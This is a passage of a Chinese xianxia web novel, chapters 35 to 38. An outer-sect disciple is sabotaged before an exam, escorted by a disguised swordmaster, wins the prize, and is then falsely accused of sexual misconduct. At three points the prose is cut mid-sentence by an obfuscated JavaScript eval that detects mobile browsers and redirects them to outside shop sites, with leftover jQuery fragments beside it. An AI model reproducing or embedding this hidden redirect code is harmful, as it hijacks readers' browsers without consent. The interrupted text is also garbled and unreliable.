张涛一脸嫌恶,“哪里来的猪精,看着就浑身滂臭,脏死了。” 小猪勃然大怒,鼻孔转向聂更阑:“喂,年轻人,我替你收拾这个混货,你继续给我弄吃的怎么样?” 聂更阑心想这小猪还挺会打算盘,明明是想挽回自己的颜面,不过他没有戳穿,只是爽快答应:“好啊。” 小猪得了承诺,肥胖的身躯一个飞扑往前撞,居然从嘴里伸出两只獠牙要刺向张涛。 张涛怎么也想不到这种看起来圆润粉嫩的家养小猪居然有獠牙,吓得拔腿就往竹林外跑。 小猪一路穷追不舍,骂骂咧咧把人成功赶出了竹林。重新转回来,时一看,这小子居然又在背书了,“喂,你还真是够处变不惊的,刚被人骚扰还能看得进书?” 聂更阑抬眼看它,“我背完书给你带吃的。” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13729407|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪干脆一屁股坐在满地的竹叶上,“好啊,我等着。” 约莫一刻钟过后,聂更阑终于合上书册,进了膳堂很快出来再次进入竹林。看着小猪狼吞虎咽在啃肉包子,聂更阑不禁疑惑:“你为什么不与我一块在膳堂吃?” 小猪吧嗒吧嗒嚼东西:“我就是一只受罚的可怜小猪,当然不能让人看到我吃这么好。” 聂更阑好奇:“你到底受了什么罚?据我所知,宗门里有一只珍珠鸡受罚也是降低吃食标准,难道宗门里的生灵受罚都是用这一套么?” “咳咳,”小猪差点没被包子噎到,“珍、珍珠鸡啊……那家伙我认识,一身银蓝色鸟毛晃得我眼睛疼,我从不跟它一块玩儿。” “是么?”聂更阑摸了摸它毛绒绒的脸蛋,“好好吃吧,我回去了。” 聂更阑起身往回走时,听到小猪气冲冲对他喊:“别随便摸本、本猪的脸啊,我又不是你的灵宠!” 聂更阑没回头,只是伸手在半空挥了挥,径直出了竹林。 这个时辰弟子们大多都回到了院子,聂更阑得以清静地吃了顿饭,才出膳堂,廊下闪过一个人影挡在了面前。 “聂道友,我有话对你说。” 聂更阑发现来人是聂云斟和周炎的那个话少的跟班,汪淼淼,“你?” 不知为何,他能感觉到汪淼淼对他没有恶意。 汪淼淼不敢抬头看他,结结巴巴道:“我、我只是想来告诉你,那个张涛他也想得到火炎珠,也许会拼命干扰你考试,聂道友,你、你要小心了。” 聂更阑:“……” “你来就是为了告诉我这件事?” 汪淼淼猛地抬头:“我、我知道你不信我说的,可我真的没有骗你,我实在看不下去他们欺负你,但是我人微言轻平时不敢违抗他们,对不起,我只能说这么多了!” 汪淼淼说完,四下看了一眼,确认没人后飞快地埋头走了。 聂更阑注视那道背影走远后,才慢慢往宿阁方向走去。 汪淼淼一直以来确实没有主动挑衅过他,从来都只是跟在那两人身后默默无闻,时不时会被周炎呵斥一句。 原来,他也对这两个朋友的做法早就有所不满。 朋友……聂云斟和周炎当真把他视为朋友么? …… 自那以后,张涛隔三差五依旧会到竹林里干扰聂更阑背书。 只不过他没聂更阑能熬,往往骚扰几轮以后聂还是无动于衷,他只能悻悻离开,第二日照常过来。 聂更阑从未见过他拿书本的情形,心道,张涛其实并非是想要火炎珠,而是单纯想干扰他拿到恶心一番他罢了。 于是也就没把他放在心上。 反倒是翌日古琴课后,北溟朔又火急火燎找到了聂更阑。几日不见,他上来二话不说就是掏一把夜明珠欲塞给聂更阑。 “北冥师兄!”聂更阑不动声色退后一步。 北溟朔:“不喜欢夜明珠?” 聂更阑不做声。 他不知从哪又掏出一个储物袋,把夜明珠放进去,又陆续掏出许多法器灵石,“夜明珠先放着吧,以后用得着再拿出来,这是隐匿身形符篆,七杀玲珑球,缚仙索,紫光琉璃瓶,神女羽衣,留影石,一万上品灵石……” 36.黑皮“剑尊” 储物袋里的法宝很快堆积成小山,数目直接令聂更阑瞠目结舌。单凭他,也许一辈子都挣不到这么多灵器法宝。 聂更阑眼看北溟朔往储物袋塞的法宝越来越多,不禁扬声阻止:“北溟师兄,你这是做什么?” 北溟朔嘴里还在念叨法器的名字,闻言语出惊人:“这些都是要赠予你的,师弟,师兄只求你答应我一件事,好不好?” 聂更阑一头雾水,不知道他忽然弄的哪一出,“师兄,我一名小小外门弟子,你却已是化神期,我有什么能够帮得上你的呢?” “有!” 北溟朔在把一瓶高阶清魂离火丹塞进储物袋后,斩钉截铁同聂更阑对视,“师弟,你千万别去做独孤苍眠的随侍弟子就算是帮我的忙了!” 聂更阑慢慢念出他嘴里那个名字,“独孤……苍眠?” “师兄可是是说独孤真君?” 北溟朔咬牙切齿将拳头攥紧,“就是这心肠歹毒不知死活的的混账,小爷我——” 他话头戛然而止。 “总之,我与他有仇!” 聂更阑瞥一眼四周,低声道:“师兄,嘘。” 北溟朔也意识到自己过于冲动,小声道:“对不起,差点给你带来麻烦了?我下次一定注意。” 聂更阑:“师兄,你与真君有过节的事最好还是不要在宗门里四处宣扬,独孤真君品行的事我在宗门并未听到风声,你们之间是不是有误会?” “不是误会!” 北溟朔忽的提高嗓门,瞧见聂更阑眼里的惊愕时又立刻收敛表情,故作云淡风轻道:“总之,你相信我便是,我不会害你。” 聂更阑却觉得诧异,“若独孤真君果真是个心思歹毒的小人,师兄为何没有告知宗主和各位真君?又为何单单只告诉了我?” 北溟朔的反应一下子变得激烈,“自然是要单独告诉你!将来师弟是要与我住同一个洞府的,可千万不能与那个混账产生联系!” 北溟朔嘴快,话一出才察觉自己说了什么,耳根迅速变红移开目光不敢直视聂更阑。 “师兄,你方才说什么?”聂更阑平静地问。 北溟朔尴尬得东张西望,不敢吱声。 糟糕。人还没追到手先把心里话说出来了。 但他尚未想好如何找补,就听到少年语气淡淡地扔下一道惊雷,“师兄在宗门为何会有自己的洞府?” “师兄,你到底是何人?” 北溟朔没想到少年如此敏锐,一下子便捕捉到他话里的漏洞,越发慌张,抓耳挠腮开始支支吾吾,“我……我……我的意思是……” 聂更阑扬了扬眉,示意他继续往下说。。 可恶。他嘴就没个把门的。 总不能说自己住在宗门身份最尊贵最厉害的清鸿剑尊的峰头上吧? 到底该如何解释比较好! “北溟师兄,”聂更阑语气渐冷,“你到底是谁?” 原本他对北溟朔的身份并未起疑,实在是他话里露出的马脚过于明显。元婴期的长老,确实有资格拥有独立峰头,但化神期从未有先例。更何况自打进宗门以来,北溟朔在所有人眼里北溟朔都是宗门弟子身份。 而这会儿,在在北溟朔急得不知如何解释时,他忽的灵机一动,道:“我也不瞒你了,师弟,我是元德真君的徒弟,若我与你结为道侣,自然是将你接去我师尊的峰头另辟一处洞府居住。” 聂更阑:“徒弟有了道侣还可以继续住在师父的峰头?” 北溟朔在聂更阑的注视下咳了一声,“额,我脸皮厚,自然是能的……且师尊他对我看管较为严格,是以我不能时常过来看望你。” 笑话,他这尊贵的龙族小太子的身份,自然只能住在地位最高的清鸿剑尊的峰头了! 聂更阑:“是么?” “是,你打听一下便知,我师尊最是严厉,我修为能臻至元婴都是他督促我的结果。” 聂更阑没再追问,气氛便沉默下来。 之后,他定定注视北溟朔,“师兄,我说过与你不会有结果,你不必思虑如此深远。” 北溟朔见他终于放过刚才的话题,松了口气,“师弟话别说得这么满,也许将来你会答应与同我住一个洞府的。” 聂更阑没忍住,嘴角弧度到底是扬了扬,“师兄,你很自信。” “但此事绝无可能。” 说完,他就要离开。 北溟朔却把方才那个储物袋往他面前一送,“那刚才的要求你答应师兄好不好?千万别与独孤接触。” 聂更阑只是淡淡点头,没再看北溟朔,走向向远处的许田田招手,两人结伴走了。 许田田好奇地往后看了一眼眼巴巴在后面目送他们离开的北溟朔,问道:“朔师兄又来献殷勤了?这次他送了什么? 聂更阑只说北溟朔送了他一储物袋的灵器法宝。 许田田差点没咬到舌头,吃惊捂嘴:“老天啊,那可是一袋子的高阶法器和丹药,你若是收下就发财了。” 聂更阑:“然后呢?我把你送去给他当道侣?” 许田田被口水呛了呛,“咳咳,那就不必了,我喜欢女子。不过朔师兄可真是有钱,追你也是真大方,宗门里的师兄师姐混了这么多年也不见得能拿出这么多法器来,今天我算是大开眼界了。” 他说着,忍不住偷偷瞥了眼身旁的少年,“聂道友,你若是喜欢男子,说不定真的能少走弯路,起码炼气和筑基对你而言还算是易如反掌的……” “许道友。”聂更阑声音忽然淡了几分。 许田田吐吐舌头,“好好好,不说了,走吧走吧。” *** 几天时间一眨眼而过。 聂更阑引气入体虽然不顺利,但灵音宗纪事辑背得滚瓜烂熟——即便张涛每日都明目张胆到竹林里干扰他。 小考前一晚,聂更阑洗漱完毕,端了木盆去后院洗衣服。 十月初,寒露将至,处于流月大陆北域的灵音宗昼已是深秋,尤其入夜,寒气更重,更何况是在山上。 “阿嚏!” 聂更阑泡在冷水里的手冻得稍微有些红,很快将洗净的贴身衣物晾在绳子上。 像他们这种没有灵力傍身的新入宗门弟子,毫无对抗寒冷的能力,只得依靠外物取暖。 聂更阑趁着月光将衣物晾好,在冷风中摸了摸冻的凉冰冰的鼻头,慢吞吞回到屋内。 恰好,明日便是小考。若能赢得那颗火炎珠,他在这个天寒地冻的冬日会好过很多。 聂更阑带着这个迷迷糊糊的想法裹在被子里睡去。 …… 翌日,纪事课小考当天。 晨光微熹,天边星子还未褪去。聂更阑果断从温暖的被窝爬起,手习惯性去够床头小柜子上的弟子服。 但摸了半天,却发现平日放衣服的空空如也,什么也没有。 聂更阑还残余的睡意消失得无影无踪,借着照进窗棂的晨曦微光往床以及地面搜寻。 可没有就是没有。 四处静悄悄,万物俱寂。房里都是均匀的呼吸声,张琥珀魏禧等人都睡得很熟。 聂更阑想了想,出了兀屋子直奔后院来到昨夜晾衣服的地方,绳子上空荡荡,晾洗的弟子外袍已经不知所踪。 相反,地面放着一个大木盆。 聂更阑心惊之下,小跑来到木盆边,一眼便看到自己的衣服正被浸泡在水里。 他目光迅速冷下来,将那一坨衣物从水里捞起,却发现木盆里不止昨夜里晾洗的那套。 包括他睡前放在柜子上的那套、以及柜子里的另一套弟子服,此刻都在水里泡着。 宗门拢共发了三套弟子服,如今全被人刻意扔进了水里,还选在小考的今日。 不用想也知道大约出自谁的手笔。 只穿着里衣的少年站在寒风里,忽然打了个寒颤,神色阴沉得可怕。 一个强烈的念头冒了出来,他们想破坏他参加这场小考。倘若不穿那套夹棉的弟子服,他在这山上很快会被冻得感染风寒,甚至冷得全身僵硬无法参加小考。 看来之前张涛干扰他只是小菜一碟,真正的好戏原来在后头。 聂更阑神色沉沉地顶着寒风重新回到屋子,打算从储物袋里翻找之前在杳鹤城买的法衣穿上,他记得有一件中阶法衣,抵御这种程度的寒冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13733497|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是问题。 只是,他翻遍了储物袋也没能找到那件中阶法衣,甚至另一件低阶法衣也毫无影子。 聂更阑心彻底沉到谷底,立刻去看床头的小柜子,果然,就连宗门弟子统一束发的银冠也不见了。 …… 天光大亮时,屋子终于传来起床的动静,张琥珀几人很快发现聂更阑还躺在床上,都无比诧异,“聂道友,今日你没去打坐和背书么,怎么还躺着?” 聂更阑裹在被子里背对着众人,“我有些不舒服,你们先去吧。” 魏禧:“哦,那我们先去膳堂了啊。” 几个弟子洗漱完毕,呼朋伴友地走了。 等到房里彻底安静,聂更阑终于翻了个身。 早晨,他试图用许田田给他的传音符联系他,没想到这出自药峰的传音符根本无法驱动,他只能先钻进被窝确保不受寒气侵袭。 在小考开始前赶到课室,他想,尽量保证自己手还能写字就好。 …… 眼看着时间一点一滴流逝,小考将至。聂更阑估摸着差不多了,咬牙从床上爬起,冷空气顿时从四面八方钻入骨髓,冷得他直打哆嗦。 聂更阑果断扯下被子批在身上,他没有束发的银冠,索性在房里随意找了一根破布条扎了高马尾,而后,裹着被子走出屋子。 拓音阁外的草地上,依旧有仙鹤在等。在看到聂更阑出来时,没等他到跟前已经翩翩飞起滑翔至他面前。 聂更阑从被子里伸出手摸摸仙鹤修长的脖颈,“你是不是也被我这副装扮惊到了?好仙鹤,载我去胡长老的灵一峰吧,今日在那里会进行小考。” 仙鹤用脑袋蹭了蹭他掌心,然后将身体矮了下去。 聂更阑爬上仙鹤的背,将背子裹好,“出发吧。” 仙鹤长啸一声,双翅展开往空中飞去。 今日胡长老要求弟子们都到他的灵一峰进行小考,妙音峰到灵一峰距离不算长也不算短,半刻钟就能到。 从高空俯瞰,灵音宗云雾缥缈景色奇诡壮丽,但冷风呼号也同样让人睁不开眼,尤其是寒风刺骨,让聂更阑更是裹紧了披在身上的被褥,尽管如此,他还是被冻得嘴唇泛白。 可他一只手要拽被子,一手还要扶稳仙鹤,一边还要被寒风吹得睁不开眼,很快就开始变得吃力。 这个时辰,弟子们大约都已经陆续赶到灵一峰。 他一定要赶上小考。 只是下一瞬,一把飞剑不知从何处流星飒沓般出现,转瞬就到了他附近。 聂更阑本就因为与寒风抗争吃力,这会儿看到飞剑上站得笔挺如松的人正居高临下俯视自己,起初还吓了一跳。 此人相貌平平,皮肤生得比寻常人黝黑,身姿却挺拔如松柏,一双清冷的眸子似沉了一汪寒潭,幽寒浸人,居然使得他生出了一丝与众不同的气质。 聂更阑看得愣神,手一个没扶稳仙鹤瞬间差点踩空,另一只手拽着的被子倏然松开。 “呼啦——” 凛冽寒风瞬间把掀开一个口子的被褥刮走,根本不给聂更阑反应的机会。 “啊!” 聂更阑浑身上下只穿了中衣,寒气似无数把利刃刺入皮肤,而他那随意用布条扎着的马尾也随风散开,一头长发如瀑般散下,肆意张扬飘散。 而他能做的唯一一件事,就是抱紧仙鹤的脖颈绝不松手。 可,实在是太冷了。 刺骨寒风激得他眼睛睁不开分毫,只能无意识喃喃:“小考,一定要赶到……” 没想到方才那人咻地一下瞬间飞至他身边,清冷得将人头皮炸开的声音在耳边瞬时扩大。 “再飞下去,会染恶疾。” 聂更阑不知这人是谁,只是有些微恼,若不是他忽然蹿出惊吓了自己,他也不会被风刮走被褥。但聂更阑也做不得任何举动,是以只能咬着唇不作声。 他身体底子本就弱,这会儿吹了一阵风,能隐约感觉到额头温度在上升,浑身又冷又热,冰火两重天的滋味实在难受。 无奈之下,他只能将目光投向旁边御剑飞行之人,开口时,牙齿都在打架发出“咯咯”的动静,“师、师兄……” 37.黑皮“剑尊” 聂更阑牙齿不停打架发出清晰的咯咯声,“师、师兄,请问可否借我一件法、法衣。” 不知为何,他总觉得有些狼狈,道出请求后偏移了视线不好意思看对方。 飞剑上的师兄不多废话,只沉声答应:“好。” 下一刻,聂更阑就听到一阵风掠过,自己穿上了一套尺寸不合乎身材的玄色衣袍。然而这玄色衣袍并非加厚夹棉的弟子服,只是普通单薄的衣袍,没有半分御寒的作用。 这不是那位师兄的衣袍么,怎么会—— 聂更阑看过去时,发现飞剑上师兄此时已是全身只着中衣,和他方才的情形完全倒了过来。 聂更阑大惊失色,“师兄,你做什么?” 师兄答得简洁:“储物袋,没有多余衣物。” “师兄,这样你会受寒,”聂更阑不忍心苛责这位师兄的“天真”,牙齿还在打颤,“况且,这身衣服并不如弟子服那般有御寒效果。” 师兄垂眸扫向坐在仙鹤上的少年,似乎也意识到自己的失策,“我乃化神期,有灵力护身并不畏惧严寒。” 聂更阑几欲崩溃,泪差点从眼眶飚出,“可我现在很、很冷!” 意识到自己失策的师兄再次瞥向被寒风吹得睁不开眼的少年,一挥手,一层结界从他头顶上方笼罩而下,严严实实将他包裹在内。 四周呼号的风声霎时归于平静,寒意顿消。 聂更阑冻得哆嗦的身体处在一个温暖的空间,抱着胳膊的手松开,惊奇地看着这层球状一般的结界。 师兄言简意赅:“我将你送至目的地。” 聂更阑浑身舒适不少,连忙隔空向师兄拱手:“多谢师兄,有劳了。” 师兄不再多言,淡淡颔首,御剑跟着仙鹤齐头并进。 聂更阑身上暖和不少,从容下来后,忍不住多看了身旁的师兄几眼。寻常弟子第一次看到他,要么会盯着他脸上的疤痕反复打量,要么因为他的身世多少流露出鄙夷之色。可这位师兄与他交流始终淡淡的,仿佛他只是一个再平常不过的小师弟。 聂更阑眼睫微眨,心里划过异样的情绪。 那是难以寻求的一种状态。 但还未等他多想,右脸的疤痕突如其来泛起一股热和躁动,并且开始在脸上四处蠕动游走,速度极快。 “嘶。” 聂更阑手掌捂住那道疤痕,忍不住想挠一挠。熟悉的痒意和躁意充斥心田,和收徒大典那日一模一样。 聂更阑心里咯噔一下,忽然生出不祥的预感。这道火麒麟促成的疤痕,该不会又要生出事端—— “啊!” 念头甫一冒出,脸上的疤痕咻地蹿至嘴角位置,聂更阑疼得眼泪直飚,身体一个坐不稳,连带着所处的球状结界跟着倾斜要往高空坠落。 眼看他要摔下去,飞剑上师兄手轻飘飘一挥,结界稳住飞回了仙鹤背上。 聂更阑惊魂未定,重新抱住仙鹤的脖颈,但“多谢师兄”几个字尚未出口,那道疤痕再次作起了怪。 这次更甚。 聂更阑在翻涌的躁意和刺痛之下,身体忽然在结界里翻滚不止,连带着结界又开始摇晃摆动,在危险的边缘颤动不已。 “师兄!” 聂更阑怕得下意识喊出声,抓住仙鹤却被摇晃得根本无法施力。 飞剑上,师兄目睹了这一幕,眉心微微皱起。情况紧急,他没时间思虑太久,下一瞬收剑飞入结界出现在聂更阑背后。 “师兄!”聂更阑受惊,头皮发麻浑身不自在拼命想往前挪动身体,却被师兄一把扶住胳膊,清冷的嗓音在耳边乍然响起:“坐稳,别动!” 聂更阑从牙关里挤出几个字,“师兄,你、你能不能回到飞剑上……” 师兄似乎冷笑了一声,“你当想同你共乘仙鹤?” “没我在,你脸上的疤痕会不受控制,看好了。” 师兄祭出飞剑重新回到剑上。 果然下一瞬,聂更阑疤痕发出巨大的灼热刺痛感,一挣扎,他所在的结界再次开始飘摇摆动,再次出现坠落之势。 聂更阑心再次提起,还未呼救,他后方一沉,师兄已然回到仙鹤身上,与他坐在了一出。 疤痕倏然停止躁动,老老实实安静下来。 聂更阑深呼吸一口气,不再挣扎后,结界也不再摇摆。 师兄极淡的声音传来:“信了?” 聂更阑:“……” 聂更阑说不出话了,只觉得方才的一幕诡诞至极,却又无处可言说,只能默认让这位第一次见面的师兄坐在他身后。 只是,师兄就在他身后,且还只穿着一身里衣,这画面想象起来要多怪异有多怪异。 聂更阑忍不住紧绷脊背,尽量让自己不要贴到身后的人。 “吱吱。” 蓦地,一声微小的动静传来,少年右脸疤痕猛地动了动,疼得他惊叫一声,身体晃动之余,脊背不受控制完完全全贴在了身后人的胸膛上。 少年身体顿时僵住,浑身如触电般弓起脊背,呼吸也忍不住凝滞,“师、师兄,对不起。” 一只手及时扶住他肩头,清冷嗓音再次响起,“你还未能控制好体内之物。” 聂更阑一愣,他看出来自己体内藏着火麒麟了? 只听师兄又道:“你体内之物暂时无法安静,不过一旦靠近我便会感受到我灵力压制恢复安稳,这一路你可以靠着我。” 聂更阑不知为何面颊忽然爆红,太阳穴青筋冒起,“不要!” 师兄:“?” 他注视着少年后脑勺的高马尾,注意到那双白皙的耳根慢慢变红,似乎想到什么,道:“也罢,我给你施一道定身术。” 聂更阑还未出声,下一瞬浑身已经动弹不得。接着,师兄将他脊背扳正,脱离了自己的胸膛。他终于感到自在许多,暗自松了口气。同时,心中不由生出感激。 “多谢师兄。” 身后之人仿佛已经把所有该说的话说尽,没有回应,气氛恢复至冷清。 聂更阑没来由从心底浮起一阵怪异感,脑海里迅速闪过一抹白色身影,下意识脱口而出:“师兄,我是不是在哪里见过你?” 身后之人这次终于吐出两个字,淡然清冷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13738042|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “未曾。” “也是,”聂更阑喃喃,“若是见过,你不会认不出我。” “你说什么?” “没、没什么师兄。” 接下来的一路,两人没有再进行交流。 当灵一峰终于近在眼前时,聂更阑心神终于放松。仙鹤载着两人在灵一峰停剑坪缓缓降落。 师兄手轻轻一挥,聂更阑的定身术被解除,当即从仙鹤背上滑落到地面,生怕再触碰到身后之人。 “今日多谢师兄出手相助,”聂更阑神情尴尬,“不过还望师兄不要将此事透露出去,以免师兄受我牵连累了名声。” “你名声不好?” “师兄不知道我事?”聂更阑惊讶之余苦笑一声,“没听说过也好。” “他日师兄若是有需要,尽管可以找我帮忙,我是外门弟子,名唤聂更阑。” “师兄,我还有事,先告辞了。” 聂更阑再次拱手,之后匆匆离开停剑坪。 清鸿剑尊瞥着少年仍旧泛红的耳后根,重新踏上飞剑回到寒风中,而后,不免垂眸瞥向自己身上仅着的中衣。 大乘境界之人早已风雨严寒不侵,体魄强韧。如果不是因为世俗礼教,他甚至不需要衣物蔽体,因此身边从来不会有多余的衣物。 清鸿剑尊从未想过,自己也会有如此失礼的一日,还是因为一个陌生的外门弟子。 那日收徒大典他见过这少年,也只是匆匆掠过几眼并无印象。宗主提醒他朔与这弟子之事,他这才亲自出玉髓峰过来看一眼。 这少年,并未如同传言中的那般放浪轻浮,反而举止克制有礼,行为正常。 看来他几百年不出山,这个世道依旧和过去一样,几句流言就几乎能把人杀死。 这孩子生命力很顽强,到现在还能好好活着,实属难得。 …… 聂更阑往课室走去,还未进去许田田已经冲了出来,“聂道友!你差点迟到了!你去哪了?” “对了,你束发的银冠呢?为何只扎着马尾,头发也乱糟糟的?” 课室里,早有许多弟子在张望,从停剑坪那头远远开始,他们早就注意到聂更阑是被一个只穿着中衣的男子送下仙鹤的,因此都开始议论纷纷。 “那个只穿着中衣的是何人啊?” “这不是重点,重点是,聂更阑身上穿的明显不是弟子服!这身衣裳明显不符合他的体型,一看就是方才那个人的!” “我的神君上仙啊,他们这是怎么了?” 张涛发出猥琐的笑声,“一个小倌穿着别的男人的衣服,你们觉得还能发生点什么?况且他仪容不整,头发凌乱,你们说,这是为什么?” 众人闻言面面相觑,一时间有些不敢相信,“不是吧,聂更阑真的和男人……” “你们没看到方才在停剑坪上他与那男子依依不舍的情景?”张涛神色讥讽,“看来是舍不得与情郎分开,也不知昨夜他们到底都做了什么,看看,今日还差点迟到了。” 周炎抚掌大笑:“妙啊,张道友,你这推测可谓是十分合理,我赞成!” 38.玄色外袍 课室内众人议论纷纭。 课室外,聂更阑只穿着一身单薄的玄色外袍,冷得牙齿打颤,对许田田道,“说来话长,你有没有多余的衣物?” 许田田虽讶异,但还是很快从储物袋里拿出一套弟子服递给他,“赶紧穿上,考试马上开始了!” 聂更阑拿着衣服去假山后的僻静处穿上,回到课室时,众人的议论已经被君杳然阻止,因此他并未听到什么不堪言论,只是察觉出,周围的视线或多或少都带着一丝戏谑和怪异。 聂更阑没深究,只是深深呼出一口气。 所幸,终于赶上了考试。 课室另一头,张涛露出了懊恼的神情。 早知道弄湿衣服不够,他就再添一把火好了。没想到这兔儿爷如此拼命和不要面子,硬是撑着赶来考试了,而且还是个不知名的师兄送他过来的。 张涛阴鸷地瞪了眼聂更阑。 也就是这时,胡长老进了课室,郑重宣布:“纪事课小考开始,希望诸位都尽力而为。”接着,开始下发题目。 许田田用口型隔空对聂更阑说了句“加油”。 聂更阑稳住心神,提笔唰唰书写,专心致投入到考试当中。 诸如张琥珀魏禧之类字还未认全的弟子,只能抓耳挠腮东张西望看着别人作答,毫无参与感。 一炷香的时间很快截止。 所有弟子把卷子交到胡长老手里,长老当场批阅。 这场考试,外门弟子是最期待结果的,内门弟子对火炎珠不感兴趣,甚至在自己师尊的峰头待久了,会得到更好的灵宝法器,因此对这个小考并不放在心上。 不多时,考试结果当场公布。 胡长老捻须笑着宣布结果:“这次居然有弟子全都答对了,当之无愧的魁首,恭喜啊聂更阑!聂小友,火炎珠今后就是你的了,祝你继续保持这股韧劲和心性,在修炼大道上也能有所成!” 聂更阑在一众诧异和艳羡的目光中起身谢过胡长老。 周炎嗤了一声,满脸不屑。 许田田拼命冲聂更阑竖大拇指:“好厉害!” 胡长老:“今日起纪事课全部结束,希望各位小友修仙大道一路坦途。” “哦对了聂小友。” 聂更阑:“长老有何吩咐?” 胡长老开口:“差点忘了一事,这火炎珠昨日被药峰的青炎真君借走,聂小友今日去上课直接向青炎真君取回来便是,我已经同他打过招呼了。” “是,长老。” 胡长老一脸孺子可教的神情看他一眼,又道:“下次仪容须得干净整洁,不可坏了宗门纪律,今日看在你小考不错的份上就不追究了,知道了么?” 聂更阑躬身行礼,“弟子知错,自当谨记教训不会再犯。” 胡长老满意地嗯了一声,“好了,现在你们可以离开了。”说罢,他自行先出了课室。 许田田一脸崇拜钦佩的目光看着聂更阑,“聂道友,这次小考你居然做的全都对,你也太厉害了!那些题目光靠背下来是不能全部答对的,死记硬背根本行不通!” 一早上的有惊无险再到顺利赢得考试获得火炎珠,总算没白费力气,聂更阑终于露出个淡淡的笑,“还好,我——” 话没说完,他就打了个大大的喷嚏。 “阿嚏!” 山上的冷风一吹,聂更阑才发觉自己浑身都在发冷,尽管已经穿上许田田的法衣,但此前在仙鹤上他受寒厉害,寒气早已入侵体内,若不是有那位不知名师兄的结界,恐怕他现在已经高热了。 尽管如此,聂更阑现在也浑身轻飘飘的,头重脚轻,走路还踉跄了一下。 许田田赶紧扶了他一把,“对了你怎么会穿这身衣服过来,你的弟子服呢,怎么银冠也没束弄得这般狼狈?” 周炎张涛等人这时簇拥着聂云斟过来,停在二人面前。 张涛不知何时已成了聂云斟阵营的人,神情阴恻恻故意拉长了语调,“也不知道聂小倌这是穿了哪个野男人的衣服,这是才完事儿吧,啧啧,小考前一晚你们还翻云覆雨,果真是郎情妾意缠绵不休啊。” 周炎:“张道友可真是一针见血了,新晋弟子在宗门里□□勾引师兄,这可是一个不小的罪名呢,某人担得起吗?” 许田田愤而攥起拳头:“你们不要血口喷人!” 聂更阑不出声,寒着脸二话不说冲上去狠狠往张涛脸上揍了一拳,后者猝不及防踉跄两步。 从早晨起发现衣服全被浸湿到储物袋被人动过,就连束发的银冠也不翼而飞,聂更阑胸口早已堆积满腔怨气,此时再也忍不了,拳脚使劲往张涛身上砸。 这些小人手段,用脚趾头也想得出自谁之手! 张涛身上的伤早已养好,这回哪还由得聂更阑揍人,“呵呵,你个贱蹄子,该不会以为上次打不过你是因为自己厉害吧?老子今天就给你点颜色瞧瞧!” 两人很快扭打在一起,聂更阑显然不是张涛的对手,两人力量悬殊,他脸上很快挂了彩。 许田田本想让聂更阑打个痛快,一看不对劲连忙祭出一张定身符,几乎是同时,君杳然、慕容证雪也出手,各自祭出一张符篆。三张符篆同时打在张涛身上,顿时让他身体腾空而起狠狠摔在地面,发出惨叫声。 许盼娣连忙上前将聂更阑扶起:“聂道友,你没事吧?” 聂更阑嘴角流出一道血渍,闻言摇摇头,只是看向躺在地上的张涛神情阴沉不少。 他还是太弱了。 方才他被张涛钳制得死死的,丝毫分不出多余的力气和他打。若这里无人在场而对方起了歹意,他毫不怀疑自己会当场毙命。 汪淼淼蹲在张涛身边查看后,扬声道:“张、张道友的肋骨似乎断了!” 张涛嚎叫不已,眼里迸发出恨意,“我要向执事堂告发聂更阑昨夜与男子颠鸾倒凤,□□宗门,败坏宗门风气!” …… 妙音峰,执事堂。 众多弟子围在执事堂大厅看好戏,低声议论着什么。 张涛的声音异常清晰:“安师兄,弟子要告发聂更阑勾引男人颠鸾倒凤,□□宗门!” 大厅里安静一瞬。 安如风声音冷了几分:“你可知污蔑诽谤同门是什么罪过?” “弟子没有污蔑!聂更阑今晨纪事课小考穿着无名男子的衣裳姗姗来迟,浑身凌乱不堪,头发也未束,他此前身份便是小倌,想来这些事应当做过不少了!” 所有目光聚集到只囫囵扎了个高马尾的少年身上。那身玄色衣袍在他身上极不合身,无论是哪个部位都长出了一截,一看就是别人的衣裳。 且,对方比他身量比他要高出不少。 如此情形,一般人下意识会觉得发生了什么,再经过张涛刻意拱火,这下所有人都很难不怀疑聂更阑与那个皮肤黝黑的男子有一腿。 安如风眉头皱了皱,转向聂更阑:“聂师弟,为了你的名誉着想,我现在要问你几个问题,能否配合?” 聂更阑接收着四面八方而来的审视目光,声音低沉,“师兄请问。” “聂师弟,此前在凡界可是小倌身份?” “是。” “师弟身上的衣裳是否属于其他男子?” “是。” “师弟昨夜可曾与男子私会,一夜风流?” “不曾。” 安如风眉头再次皱了皱,“那么,师弟为何小考迟到,形容这般狼狈?” 聂更阑慢慢抬起眼睛,目光定定与安如风对视,“安师兄,那这就要问,昨夜是谁将我的衣服全都浸泡在水里,偷走我的发冠,让我不得不穿着里衣出门了。” 